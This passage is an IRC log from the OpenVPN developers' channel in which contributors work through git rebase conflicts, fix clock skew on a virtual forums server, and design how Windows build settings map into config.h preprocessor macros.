enable/disablement stuff ... definition of data types and so on, so that can make some sense to merge in from a template 06:59 < cron2_> dazo: well, since about the only change is tapdrvr.c/proto.h/types.h, and nothing else touched these files since 2+ years, the rebase should be easy 06:59 < cron2_> there might be some conflicts in the "settings.in" stuff 07:00 <@dazo> I get interesting conflicts ... but I'm preferring beta2.2 then on files not related to those files you mentioned 07:01 < cron2_> where do you get conflicts? 07:01 <@dazo> options.c, proxy.c ... but that's because the root of the tree is aged 07:01 <@dazo> root of the branch, I mean 07:01 <@dazo> I mostly can do git rebase --skip on those changes 07:02 <@dazo> (which means preferring beta2.2 changes) 07:03 < cron2_> everything not "*win32*" related should not be modified by that branch anyway, yes 07:12 <@dazo> cron2_: mattock1: http://pastebin.com/1KLjV4Q1 ... what should I prefer here? HEAD or the feat branch commit (below ======) 07:19 <@mattock1> dazo: I have not touched anything in install-win32 07:19 < cron2_> uh, good question, this looks like all the TAP related stuff got kicked out from settings.in in HEAD 07:20 <@dazo> it might be that this might not be an issue when I reach the end, preferring HEAD 07:21 <@dazo> I believe some of these values are in version.m4 ... right? 07:21 <@mattock1> lemme check 07:22 <@mattock1> not actually... there's some overlap between install-win32/settings.in, win/settings.in and version.m4 07:22 <@mattock1> different variable names for same things 07:25 <@mattock1> oh, sorry... actually, there are some hacks in win/wb.py 07:30 <@mattock1> we also need to fix this: "Temporary snprintf-related fix to service-win32/openvpnserv.c" 07:30 <@dazo> yeah 07:31 <@dazo> mattock1: I take it from your win/wb.py hacks that I will prefer HEAD in the conflict above ... 07:31 <@dazo> right? 07:31 <@mattock1> hmm, I'll try to concentrate on this for a while :) 07:31 <@dazo> :) 07:33 <@mattock1> so the + stuff is added in HEAD? 07:33 <@dazo> mattock1: I'll take the chance to prefer HEAD ... I see that beta2.2 does not have this section at all 07:33 <@dazo> no, not quite 07:33 <@dazo> # 07:33 <@dazo> # 07:33 <@dazo> ++<<<<<<< HEAD 07:33 <@dazo> # 07:33 <@dazo> ++======= 07:33 <@dazo> this indicates that HEAD do not have the content below the ====== line 07:33 < cron2_> I take the one with a single "#" :) 07:34 <@dazo> heh ... copy-paste from pastebin can fool you sometimes :) 07:34 <@mattock1> oh 07:35 <@mattock1> now it makes sense 07:35 <@mattock1> the removed stuff seems obsolete 07:35 <@dazo> okay goodie! 07:35 <@dazo> then I'll go for that :) 07:38 <@mattock1> hmm, I think it would make most sense to move variables which are included by the .c or .h files into config.h.in 07:38 <@mattock1> and those used internally by the Python files to settings.in 07:39 <@mattock1> that avoids settings.in parsing hell 07:39 <@mattock1> I'll ask James' opinion, too 07:44 * dazo brb 07:46 <+janjust> forums.openvpn question: it says It is currently 10 Mar 2011 13:40 (UTC) 07:46 <+janjust> it is actually 13:46 UTC over here right now - clock skew? 07:46 <+janjust> ping ecrist 07:47 <@mattock1> janjust: interestingly ntpd seems to be running on forums 07:48 <+janjust> hmm a refresh of the browser window does show an updated time, but it's still 5 to 6 minutes behind 07:49 <@mattock1> yeah, same for me 07:49 <@mattock1> strange 07:49 <+janjust> mattock1: what does 'ntpdate -q -u <some ntp server>' on the forums site give? 07:49 <@mattock1> I'll check 07:51 <@mattock1> it gives 280 second offset 07:51 <@mattock1> using the same server (pool) as ntpd uses 07:51 <+janjust> is it a virtual box? 07:52 <@mattock1> yep 07:52 <@mattock1> it might be VMWare 07:52 <+janjust> hmmm could be a vm clock thing then - esp vmware is prone to that 07:53 <@mattock1> that's likely, given that everything else seems to be in order 07:53 <@mattock1> before ntpdate and ntpd were enabled, the clock was off about 24 hours 07:53 <+janjust> I'd just run 'ntpdate -u <ntp host>' on it and see if the clock goes off again 07:53 <+janjust> if it does, it's a vmware clock problem - can be fixed, but requires some tinkering to virtual hardware clocks 07:54 <@mattock1> clock is now correct 07:54 <@mattock1> ntpdate gets run on every reboot, but the box is rarely rebooted, so... 07:55 <+janjust> let's wait and see ... 08:04 < ecrist> pong janjust 08:05 <+janjust> problem already fixed, ecrist ; the clock on the 'forums' machine was off by 280 seconds 08:05 < ecrist> vmware clock sucks 08:06 <+janjust> yep ; I've managed to get it right on some vm hosts but am always having problems with it 08:06 < ecrist> that box runs ntpd and updates, but the skew is too great, so ntp isn't able to keep up 08:07 <+janjust> what's the OS on the box? try adding stuff like 'clock=pit' to the kernel command line if it's linux 08:07 < ecrist> freebsd 08:08 <+janjust> hehe figured... don't know how to tell freebsd to use an "ancient" clock 08:10 <+janjust> sysctl kern.timecounter.choice ?? 08:10 < ecrist> freebsd can use IRQ based timers by disabling APIC, but that sacrifices SMP 08:11 < ecrist> hrm, didn't know about that sysctl 08:11 <+janjust> I just googled on it... 08:13 * ecrist tries changing to TSC 08:15 < ecrist> we'll see if that makes a difference 08:15 < ecrist> root@forums:~-> uptime 8:15AM up 55 days, 22:09, 1 user, load averages: 0.00, 0.01, 0.00 08:15 <+janjust> we won't know for quite some time , I guess, and it's not a real showstopper 08:16 < ecrist> I've got a cronjob ready to roll if need be, to update the clock daily, but I want to see if this helps 08:24 <@mattock1> janjust: your book seems to be on "Books" page now: http://openvpn.net/index.php/open-source/books.html 08:24 <@vpnHelper> Title: Books (at openvpn.net) 08:24 <@mattock1> missing image for some reason 08:25 <+janjust> oh crap, I didn't know you linked it from home page :) 08:25 <+janjust> let me put it back 08:26 <@mattock1> oh :) 08:26 <@mattock1> if you got a better link, I can change it 08:26 <@mattock1> there were some image resizing issues I recall 08:29 <+janjust> it's back 08:29 <@mattock1> neat! looks much more professional :) 09:42 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:52 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:56 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 10:04 <@dazo> mattock1: I've cleaned up and rebased feat_ipv6_wintap against beta2.2 ... and now beta2.2 have the missing pieces in place 10:05 <@mattock1> dazo: excellent! I'll wait James' take on config.h.in/settings.in, then send in my next patch(es) 10:05 <@mattock1> tomorrow probably 10:05 < ecrist> who put a gian image for the openvpn2 cookbook and resized it with html img tag args? 10:05 * ecrist fires them 10:06 <@dazo> mattock1: cool! if james could ACK your patches, I'll get them in asap so we can begin to look for spinning an RC2 very soon 10:07 <@mattock1> yep, I already prepared james mentally for 2.2-RC2 release on 18th March 10:07 < ecrist> http://secure-computing.net/files/OpenVPN2Cookbook.jpg 10:07 < ecrist> mattock1: ^^^ 10:07 <@mattock1> ecrist: that would be me, because I respected janjust's copyrights :D 10:08 <@mattock1> janjust can resize it 10:08 < ecrist> fair use allows you to modify the image such 10:08 < ecrist> you're just modifying the size, not changing the content 10:08 <@mattock1> probably, yes... I got to check where the images are supposed to live in Joomla 10:50 -!- dazo is now known as dazo_afk 10:58 -!- andj_afk is now known as andj 11:10 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:10 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:45 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 11:52 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:01 <@mattock> jamesyonan: what's your take on the config.h.in / settings.in issue? 12:05 <@jamesyonan> mattock: are you saying you want to move vars from settings.in to win/config.h.in? 12:05 <@mattock> the ones which are used by C code (and other header files) 12:05 <@jamesyonan> which vars does this include? 12:06 <@mattock> ENABLE_* stuff I put there a while back, and two others (PRODUCT_TAP_DEBUG and something else) 12:06 <@mattock> the idea being to logically separate config.h.in and settings.in 12:07 <@mattock> config.h.in = header file with build parameters the code uses 12:07 <@mattock> settings.in = variables used internally by the Python build system 12:08 <@mattock> my main motivation is to avoid parsing settings.in to generate config.h 12:11 <@jamesyonan> but I thought this is already handled by build system in the sense that settings.in is translated to autodefs.h so it can be included by the C level? 12:11 <@mattock> hmm, I'll check what autodefs.h generation does... 12:11 <@jamesyonan> I'm a strong advocate of putting build system config settings in one place 12:12 <@mattock> I agree, if parsing hell can be avoided somehow 12:12 <@mattock> just a sec 12:13 <@jamesyonan> you're not really parsing anything except settings.in 12:13 <@jamesyonan> but this is already done for you 12:15 <@mattock> ok, the preprocess method is probably smarter than I assumed... 12:16 <@mattock> so, looking at autodefs.h.in... @PRODUCT_TAP_WIN32_MIN_MAJOR@ is refering to a variable name in settings.in, right? 12:19 <@mattock> if so, I could run preprocess method agains win/config.h.in and use defines like this: 12:19 <@mattock> #define ENABLE_MANAGEMENT @ENABLE_MANAGEMENT@ 12:25 <@mattock> jamesyonan: I assume most of the stuff in config.h.in (formerly config-win32.h) rarely changes. What do you think about putting only ENABLE_* stuff to settings.in and declare the rest statically in config.h.in? 12:25 <@mattock> the idea being to avoid settings.in getting too bloated with variables nobody touches 12:26 <@jamesyonan> yes, I agree. The idea of settings.in is to include high level settings that people would want to modify. 13:40 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Quit: Leaving] 13:41 <@mattock> jamesyonan: ok, I'll adapt config.h.in and settings.in accordingly tomorrow and send a patch to openvpn-devel 13:41 <@mattock> after that the build system should be feature-complete 13:41 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 13:41 <@jamesyonan> sounds good 13:43 <@mattock> btw. dazo updated the beta2.2 tree for 2.2-RC2 release... after my two patches it should be ready 13:48 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:58 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:12 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 14:24 -!- TheSilentTechie [~TheSilent@dslb-088-067-011-192.pools.arcor-ip.net] has joined #openvpn-devel 14:25 -!- TheSilentTechie [~TheSilent@dslb-088-067-011-192.pools.arcor-ip.net] has quit [Client Quit] 15:25 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:44 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 15:46 <@vpnHelper> RSS Update - tickets: #102: 2.2 RC crashes when attempting to PKCS12 key password <https://community.openvpn.net/openvpn/ticket/102> 16:20 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 20:00 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 20:20 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 20:26 -!- Matchstick [~haoxiao@123.117.16.198] has joined #openvpn-devel 20:33 -!- Matchstick [~haoxiao@123.117.16.198] has quit [Read error: Connection reset by peer] 20:34 -!- Matchstick [~haoxiao@123.117.16.198] has joined #openvpn-devel 20:35 -!- Matchstick [~haoxiao@123.117.16.198] has left #openvpn-devel [] 20:37 -!- hxsmfk [~haoxiao@123.117.16.198] has joined #openvpn-devel 20:58 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 21:11 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 21:26 -!- hxsmfk [~haoxiao@123.117.16.198] has left #openvpn-devel [] 23:59 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Fri Mar 11 2011 00:01 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 00:16 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 00:44 -!- andj is now known as andj_afk 01:55 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:56 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:18 <@mattock> ecrist: now the OpenVPN 2 Cookbook image is scaled to correct size 03:18 <@mattock> on the staging server, that is 03:28 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 04:42 -!- dazo_afk is now known as dazo 04:44 <@dazo> mattock: [reading scrollback] ---> #define ENABLE_MANAGEMENT @ENABLE_MANAGEMENT@ --- this won't work 04:44 <@dazo> you define ENABLE_MANAGEMENT to start with, no matter the value set by @ENABLE_MANAGEMENT@ 04:44 <@dazo> so #ifdef ENABLE_MANAGEMENT will in this case always be true 05:50 <@mattock> dazo: hmm, so default is 1? 05:50 <@dazo> nope 05:51 <@dazo> you cand do: #define whatever 05:51 <@dazo> and then 'whatever' is defined 05:51 <@dazo> it's just defined as "nothing" 05:51 <@mattock> ok 05:51 <@dazo> that's why you have #undef 05:51 <@dazo> #undef whatever 05:51 <@dazo> and then it would not be defined 05:52 <@mattock> interesting, because config-win32.h had entries like that... I wonder if it's historical baggage 05:52 <@dazo> yeah, and that's why we now had issues with the lack of server capabilities in the 2.2-RC on Windows 05:52 <@dazo> because it was a #define ENABLE_CLIENT_ONLY 05:53 <@dazo> and then in the code other places, it was used #ifdef ENABLE_CLIENT_ONLY 05:53 <@dazo> which then disabled the server features 05:53 <@mattock> yep, makes sense 05:54 <@dazo> tbh ... I believe that James used a different config-win32.h when compiling the windows versions ... and not necessarily the one in the repository 05:54 <@mattock> very likely 05:54 <@dazo> *or* that it changed lately, when he builds the AS client 05:54 <@mattock> I'll do some fixes and put them to pastebin for review 05:54 <@dazo> perfect! 05:55 <@mattock> james wanted commonly edited variables to be in win/settings.in, which makes sense 05:55 <@dazo> yeah, I agree 05:55 <@mattock> I may have to modify some parsing logic, but we'll see 05:55 <@mattock> the @replace_with_variable_name@ logic is used by autodefs.h.in, but that only contains string, not truth values 05:56 <@mattock> used _also_ by autodefs.h.in, I mean 05:56 <@dazo> yeah, that's just simple templating 05:56 <@mattock> btw. I checked out a clean Git repo and applied my two latest patches on top of it 05:57 <@dazo> neat! 05:57 <@mattock> they failed to apply unless I used "git-am blabla.patch --whitespace=fix" 05:57 <@dazo> yeah, that's what I had to do as well 05:57 <@mattock> the problem is almost certainly the mixture of unix and windows linefeeds win/* files 05:57 <@dazo> I think so to 05:58 <@mattock> I believe git managed to fix those cleanly 05:58 <@dazo> well, it is "fixed" for the internal database ... but when pulling them out, it's tagged in the repo somehow how it should be generated to provide the exact same result again 05:59 <@dazo> the whole cr+lf / newline topic in git is quite complex ... but it works very well 05:59 <@mattock> so "fixed for all practical purposes"? 06:00 <@dazo> not easy to say ... I know that priority 1 of the git developers is that "what you check-in is what you should get when you do a checkout later on" ... so git shouldn't modify things 06:00 <@dazo> but it will make fuzz when something seems odd 06:02 <@dazo> I never really studied the inner details of this CR-LF vs NL issue in git ... I just expect it to work properly ... which is usually does :) 06:12 <@mattock> dazo: do you think would work: http://pastebin.com/BqKLzvnN 06:13 <@mattock> actually the config.h.in could be simplified by only checking #if !ENABLE_MANAGEMENT and running #undef 06:13 <@dazo> depends on the parser which reads settings.in and config.h.in 06:16 <@dazo> that might actually work 06:16 <@dazo> I didn't see #if ... I read #ifdef 06:16 <@mattock> actually, this is more like it: http://pastebin.com/6n95Pt7v 06:17 <@mattock> so, the templating code would always output ENABLE_MANAGEMENT 1 or 0 06:17 <@mattock> and that would be used to determine if the feature is undefined 06:18 <@mattock> I'm just wondering about portability... 06:18 <@dazo> http://pastebin.com/HvPvB8tv ... I would probably find this cleaner, tbh 06:20 <@dazo> Or to really like it more like the autotools does it... the #undef line could be: 06:20 <@mattock> hmm, I think ^^^ would not work, config.h does not know about ENABLE_MANAGEMENT's truth value unless it's defined before the #if block 06:21 <@mattock> right? 06:21 <@mattock> ...damn build box is down / unresponsive 06:21 <@dazo> hmm ... I am not sure 06:22 * dazo tests 06:23 <@dazo> that seems to work for me 06:24 <@mattock> the last one? 06:24 <@dazo> my suggestion, yes 06:25 <@mattock> ok, I need to do some testing when the build box works 06:25 <@mattock> but something along those lines in any case 06:26 <@dazo> http://pastebin.com/C0JNN1Lm 06:27 <@dazo> that's my little POC test 06:28 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 06:53 <@mattock> dazo: this will work: http://pastebin.com/BrDtDT68 06:54 <@dazo> yes 06:54 <@mattock> the problem with the previous one was that TESTMACRO was defined before running the C code 06:54 <@mattock> unlike with config.h 06:55 <@dazo> really? 06:55 <@mattock> so, config.h has no way of knowing about the variable, unless it's defined somewhere in it 06:55 <@dazo> which compiler did you use? 06:55 <@mattock> it's not defined anywhere else, I mean 06:55 <@mattock> gcc 06:56 <@dazo> my test case can use #if TESTMACRO ... without TESTMACRO needed to be defined at all 06:56 <@dazo> then the #if TESTMACRO #else section is triggered 06:56 <@dazo> $ gcc test.c 06:57 <@dazo> $ ./a.out 06:57 <@mattock> yep, but if TESTMACRO is not defined, it always goes to #else 06:57 <@dazo> TEST was *NOT* defined 06:57 <@dazo> nope 06:57 <@mattock> my point is that config.h, which does this testing does not know the value of ENABLE_MANAGEMENT unless it's defined in itself (config.h) 06:57 <@dazo> well, TESTMACRO needs to be more than just #define'd ... it needs a value in that case 06:58 <@dazo> so I added #define TESTMACRO 1 ... at the top 06:58 <@dazo> compiled ... and I get: TEST was defined as '1' 06:58 <@mattock> yep, as it should :) 06:58 <@dazo> the #if statement is false if MACRO is 0 or not defined 06:59 <@dazo> otherwise #if is true 06:59 <@dazo> however, #ifdef MACRO ... or #if defined(MACRO) ... will always be true, as long as #define MACRO is used - no matter the value 06:59 <@mattock> yes 07:00 <@mattock> I think we're not speaking of the same issue here :P 07:00 <@dazo> might be :) 07:00 <@mattock> I'll try to elaborate... 07:03 <@mattock> there is no ENABLE_MANAGEMENT variable in my case, unless it's defined before the #if block. The config.h file does not know anything about "!define ENABLE_MANAGEMENT 1" line in settings.in, unless "#define ENABLE_MANAGEMENT @ENABLE_MANAGEMENT@" line is added to config.h.in 07:04 <@mattock> so, the variable does not get passed over from settings.in without the "#define ENABLE_MANAGEMENT @ENABLE_MANAGEMENT@" line in config.h.in 07:04 <@mattock> does this make sense? 07:04 <@mattock> :) 07:04 <@dazo> ahhh .... but what about #if @ENABLE_MANAGEMENT@ == 1 07:04 <@mattock> that's an option, too 07:05 <@mattock> pretty clean one, too 07:05 <@dazo> just trying to avoid too much #define ... #if ... #define ... #else ... #undef ... that can look much more confusing, when seeing the same names everywhere 07:06 <@mattock> yeah, true 07:06 <@dazo> the only challenge ... does VC parse that := 07:06 <@dazo> :) 07:07 <@mattock> simplest solution? http://pastebin.com/byMYXFKK 07:07 <@mattock> looks silly in the real config.h, but cleaner in config.h.in 07:08 <@dazo> yeah ... I still would like to see #define MACRO @MACRO@ ... just in case we later decides to use other values than just 1 07:08 <@dazo> and you need the #endif at the bottom :-P 07:08 <@mattock> oh yes 07:09 <@dazo> but this is the config.h.in, right? 07:09 <@dazo> which is parsed -> config.h 07:09 <@mattock> this one: http://pastebin.com/2UmGXu4Y 07:09 <@mattock> yes, config.h.in 07:09 <@mattock> the template 07:10 <@dazo> I think it makes sense to also do the #else part ... as autotools does it ... it makes the result quicker to validate 07:10 < ecrist> mattock: splendid. I did post a link to a properly scaled image. ;) 07:10 <@dazo> Like: /* #undef ENABLE_PASSWORD_SAVE */ 07:10 <@mattock> oh, I scaled it down myself and uploaded it to Joomla 07:10 <@mattock> didn't notice the link 07:11 * dazo is confusing mattock so much with cpp stuff so URL's just looks like garbage :-P 07:11 <@mattock> dazo: will #if @ENABLE_MANAGEMENT@ <= 1 work? 07:12 <@dazo> good point 07:12 <@dazo> hmm 07:12 <@dazo> let me test one more crazy idea 07:12 <@mattock> ok 07:12 <@mattock> surprising how much fun variable handling can be :) 07:12 <@mattock> only a nerd can enjoy this, I guess :P 07:13 <@dazo> heh 07:15 <@dazo> where/how can I test out the config.h.in parser? 07:16 <@mattock> you can actually do "cd win; python config_all.py" on linux 07:16 <@mattock> except that you need my latest patches 07:16 <@dazo> can I get a preview ;-) 07:16 <@mattock> or you can try it by editing win/autodefs.h.in 07:17 <@mattock> it uses the preprocess method which does templating stuff 07:17 <@mattock> the same is used by config.h.in 07:17 <@mattock> whichever you prefer 07:18 <@mattock> I'll mail you the config.h.in patch 07:18 <@mattock> the TAP-driver patch I sent earlier 07:18 <@mattock> to -devel 07:19 <@dazo> cool, thx 07:20 <@mattock> mail sent 07:27 <@dazo> grmbl ... it complains about a ... /openvpn-testing-fresh/tapinstall/sources.in file ... which it seems to delete if I touch it 07:31 * dazo decides to not call config_tap() and config_ti() for now 07:31 <@mattock> that's no problenm 07:32 <@mattock> it has already created ../autodefs.h.in and ../config.h.in 07:32 <@mattock> sed s/".in"/""/g 07:33 <@dazo> yeah 07:38 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 07:39 <@dazo> man, the preprocess() function is not too easy to parse :) 07:39 <@mattock> yeah, it's a monster 07:40 <@mattock> poor man's <= here: http://pastebin.com/NZbyDccd 07:40 <@dazo> that should work 07:41 <@dazo> and that was kind of what I was looking for ... just seeing if we could change the 0 to __OVPN_NOT_DEFINED__ ... and match against that instead 07:41 <@dazo> but, the preprocess() is to clever written 07:41 <@dazo> however ... let the #undef blablab ... be: /* #undef blablab */ 07:41 <@mattock> I have feeling james enjoys writing complex code :P 07:41 <@dazo> then it is closer to autotools 07:42 <@dazo> lol 07:42 <@dazo> yeah, without too much comments :) 07:42 <@mattock> part of the reason it took quite a while to finish the build system 07:42 <@mattock> why it took 07:42 <@dazo> yeah, I can imagine that 07:44 <@mattock> why /* #undef blablab */ ? 07:45 <@mattock> in config.h or in config.h.in? 07:45 <@dazo> because it even safer on compilers which might not like #undef unless it has already been defined 07:45 <@dazo> in config.h.in ... so that it gets "copied" over to config.h 07:46 <@dazo> ouch 07:46 <@mattock> would simple comment in settings.in do the trick? 07:46 <@dazo> this probably won't work 07:46 <@dazo> #if == 0 07:46 <@dazo> #else 07:46 <@dazo> #define ENABLE_MANAGEMENT 07:46 <@dazo> #endif 07:47 <@dazo> that's the result 07:47 <@mattock> "do not comment out these lines" 07:47 <@mattock> I think that should only happen if the user comments out ENABLE_* lines from settings.in 07:47 <@dazo> aha 07:47 <@dazo> that was what I did :) 07:47 <@mattock> :D 07:48 <@mattock> I'll add comments to settings.in and we got a working(?) solution 07:48 <@dazo> ugh ... this didn't get as nice as I thought it would be 07:48 <@mattock> even if the child is ugly, one has to love it :) 07:48 <@dazo> but I see there's some support for if/else/endif stuff in preprocess ... 07:48 <@dazo> lol 07:48 <@dazo> right :) 07:49 <@dazo> but this is more a step-child for us :-P 07:49 <@mattock> yep, the tenth one I think 07:49 <@dazo> :) 07:50 <@mattock> I'll adapt config.h.in and settings.in now 07:50 <@dazo> actually, right now ... when I see what the parser generates 07:50 <@dazo> + I'm in mood to get this solved somehow :) 07:51 <@dazo> #if @ENABLE_MANAGEMENT@ != 0 07:51 <@dazo> #define ENABLE_MANAGEMENT @ENABLE_MANAGEMENT@ 07:51 <@dazo> #endif 07:51 <@dazo> that's the cleanest there is 07:51 <@dazo> I thought that the parser did more magic than what it really did 07:52 <@dazo> The result in config.h will become: 07:52 <@dazo> #if 0 != 0 07:52 <@dazo> #define ENABLE_MANAGEMENT 0 07:52 <@dazo> #endif 07:52 <@dazo> which is clean, and makes some kind of sense :) 07:52 <@mattock> yep, pretty good, let's use that 07:53 <@mattock> two lines less than previously 07:55 <@dazo> yeah :) 08:11 <@mattock> dazo: mail away 08:12 <@dazo> ACK 08:12 <@dazo> that's all the ENABLE_ macros, I presume 08:13 <@mattock> most, at least 08:13 <@mattock> I wonder if ENABLE_CLIENT_SERVER should be in settings.in 08:13 <@mattock> or do we assume everyone wants to build client+server openvpn 08:13 <@dazo> yes, I would say it should 08:13 <@dazo> I don't think the AS client adds server features 08:14 <@mattock> what happens if both ENABLE_CLIENT_SERVER and ENABLE_CLIENT_ONLY are undefined? 08:14 <@dazo> good question 08:14 < ecrist> world 'splodes 08:15 <@dazo> ENABLE_CLIENT_SERVER seems to be related to the peer-to-multi-point code 08:15 <@dazo> while ENABLE_CLIENT_ONLY removes server features, like --mode server, --server, --server-bridge 08:16 <@dazo> sigh ... from syshead.h ... 08:16 <@dazo> #if P2MP && !defined(ENABLE_CLIENT_ONLY) 08:16 <@dazo> #define P2MP_SERVER 1 08:16 <@dazo> #else 08:16 <@dazo> #define P2MP_SERVER 0 08:16 <@dazo> #endif 08:17 <@dazo> there are so incredibly many redefinitions of variables 08:18 <@dazo> and many of the variable names are not too precise 08:21 <@mattock> revision 2 coming up 08:21 <@dazo> And I found some more dead code .... related to ENABLE_AUTO_USERID ... not defined anywhere 08:22 <@mattock> perhaps a small script would find a bunch of those 08:22 <@dazo> yeah 08:22 <@mattock> shall I fix that one? 08:23 <@dazo> nope, that will require a discussion with James first 08:23 <@dazo> and if that is code which is really not developed any more ... it will be quite some code being removed 08:23 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel ["Leaving"] 08:23 <@dazo> wohhaa ... there are 1418 #define statements in OpenVPN 08:24 <@dazo> well, it includes config.h* 08:25 <@mattock> btw. I started fixing the Win Vista/7 start menu uninstall issue, and update INSTALL-win32.txt 08:25 <@mattock> d 08:25 <@dazo> great! 08:26 <@dazo> 1275 #define statement in relevant core OpenVPN .c and .h files 08:26 <@dazo> that's almost a bit too much 08:26 <@mattock> sounds like it 08:27 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 08:27 <@dazo> 476 #if's and 926 #ifdef's 08:27 <@mattock> probably half of those could be removed without really affecting anything 08:27 <@mattock> except making the code cleaner :) 08:29 <@dazo> exactly 08:29 <@dazo> before thinking about openvpn3 ... I think this is really needed, to be able to port code over to openvpn3 08:29 <@mattock> how many unique defines/variables are there? 08:30 * dazo checks 08:30 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:30 <@mattock> verdammt... have to wait until Andrew fixes the build vm before doing anything else 08:31 <@dazo> 1161 08:31 <@dazo> that's unique #define statements 08:32 <@dazo> that's about 14 #define's per 1000 line of C code (including comments) 08:35 <@dazo> there are 51 places in the code which has #if 0 08:42 <@dazo> mattock: I saw you're new patch 08:42 <@dazo> +# Choose only one of these two 08:42 <@dazo> +!define ENABLE_CLIENT_SERVER 1 08:42 <@dazo> +!define ENABLE_CLIENT_ONLY 0 08:42 <@dazo> that comment is not quite correct 08:42 <@mattock> suggestions? 08:42 <@dazo> you need ENABLE_CLIENT_SERVER in most cases .... and ENABLE_CLIENT_ONLY when you don't want server features 08:43 <@dazo> and if you disable CLIENT_SERVER, CLIENT_ONLY is disabled by default 08:43 <@dazo> which really confuses me ... due to the naming of CLIENT_SERVER 08:45 <@dazo> without CLIENT_SERVER ... there is only peer-to-peer support (like the old OpenVPN 1.x) 08:45 <@dazo> useful for static site-to-site configurations 08:46 <@dazo> # ENABLE_CLIENT_SERVER enables the point-to-multipoint support 08:46 <@dazo> # ENABLE_CLIENT_ONLY removes the point-to-multipoint server side features 08:47 <@dazo> that is probably more accurate statements 08:47 <@mattock> so ENABLE_CLIENT_SERVER 0 and ENABLE_CLIENT_ONLY 1 does not make sense 08:47 <@dazo> nope, not at all 08:47 <@mattock> I'll rephrase the comment 08:51 <@mattock> dazo: is this accurate: http://pastebin.com/b8KbN7YJ 08:52 <@dazo> I would say for ENABLE_CLIENT_ONLY ..... # ENABLE_CLIENT_ONLY removes server-side point-to-multipoint features. This depends on ENABLE_CLIENT_SERVER. 08:54 <@mattock> yeah, that's better 08:55 <@mattock> maybe even "This depends on ENABLE_CLIENT_SERVER 1" 08:55 <@mattock> to make things 100% clear 09:00 <@dazo> yeah 09:00 <@dazo> or set to 1 09:01 <@mattock> "This depends on ENABLE_CLIENT_SERVER being set to 1." 09:01 <@dazo> yupp 09:02 <@mattock> ok, now the patch is finished (except for testing) 10:16 -!- andj_afk is now known as andj 10:40 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 12:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:34 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:30 -!- dazo is now known as dazo_afk 14:16 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:47 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 17:14 -!- andj is now known as andj_afk 17:24 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 17:24 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 17:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:20 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 21:46 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sat Mar 12 2011 01:12 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:20 -!- andj_afk is now known as andj 02:56 -!- andj is now known as andj_afk 04:11 -!- andj_afk is now known as andj 05:06 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 05:47 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 240 seconds] 13:52 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:44 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:10 -!- andj is now known as andj_afk --- Day changed Sun Mar 13 2011 00:28 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 00:28 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 00:28 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 00:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:12 -!- andj_afk is now known as andj 01:14 -!- 